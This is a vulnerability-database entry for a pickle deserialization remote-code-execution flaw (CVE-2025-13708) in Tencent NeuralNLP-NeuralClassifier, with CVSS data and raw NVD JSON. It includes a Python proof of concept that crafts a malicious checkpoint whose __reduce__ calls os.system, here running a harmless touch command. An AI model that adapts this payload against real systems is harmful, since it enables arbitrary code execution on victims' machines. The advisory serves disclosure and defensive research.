Security Vulnerability Report
中文
CVE-2025-13708 CVSS 7.8 HIGH

CVE-2025-13708

Published: 2025-12-23 22:15:45
Last Modified: 2026-04-15 00:35:42

Description

Tencent NeuralNLP-NeuralClassifier _load_checkpoint Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent NeuralNLP-NeuralClassifier. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the _load_checkpoint function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27184.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tencent NeuralNLP-NeuralClassifier < commit 8dea5ffdb45cf0a33b3d116de38507afaee87594

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13708 PoC - Malicious pickle payload for NeuralNLP-NeuralClassifier # This PoC demonstrates the unsafe deserialization in _load_checkpoint function import pickle import os class MaliciousPayload: def __reduce__(self): # This command will be executed when the pickle is deserialized cmd = "touch /tmp/pwned_by_cve_2025_13708" return (os.system, (cmd,)) def generate_malicious_checkpoint(output_path): """Generate a malicious checkpoint file for exploitation""" payload = MaliciousPayload() serialized_data = pickle.dumps(payload) with open(output_path, 'wb') as f: f.write(serialized_data) print(f"[+] Malicious checkpoint generated: {output_path}") print(f"[+] File size: {len(serialized_data)} bytes") def simulate_load_checkpoint(file_path): """Simulate vulnerable _load_checkpoint function""" print(f"[*] Loading checkpoint from: {file_path}") with open(file_path, 'rb') as f: # Vulnerable: No validation before pickle.load() data = pickle.load(f) print("[+] Checkpoint loaded successfully") return data if __name__ == "__main__": import sys if len(sys.argv) > 1: checkpoint_path = sys.argv[1] else: checkpoint_path = "malicious_checkpoint.pkl" # Generate the malicious checkpoint file generate_malicious_checkpoint(checkpoint_path) # Simulate exploitation print("\n[*] Simulating exploitation...") simulate_load_checkpoint(checkpoint_path) # Verify if exploitation was successful if os.path.exists("/tmp/pwned_by_cve_2025_13708"): print("[+] Exploitation successful! Arbitrary code executed.") else: print("[-] Exploitation failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13708", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:45.443", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent NeuralNLP-NeuralClassifier _load_checkpoint Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent NeuralNLP-NeuralClassifier. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the _load_checkpoint function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27184."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Tencent/NeuralNLP-NeuralClassifier/commit/8dea5ffdb45cf0a33b3d116de38507afaee87594", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1033/", "source": "[email protected]"}]}}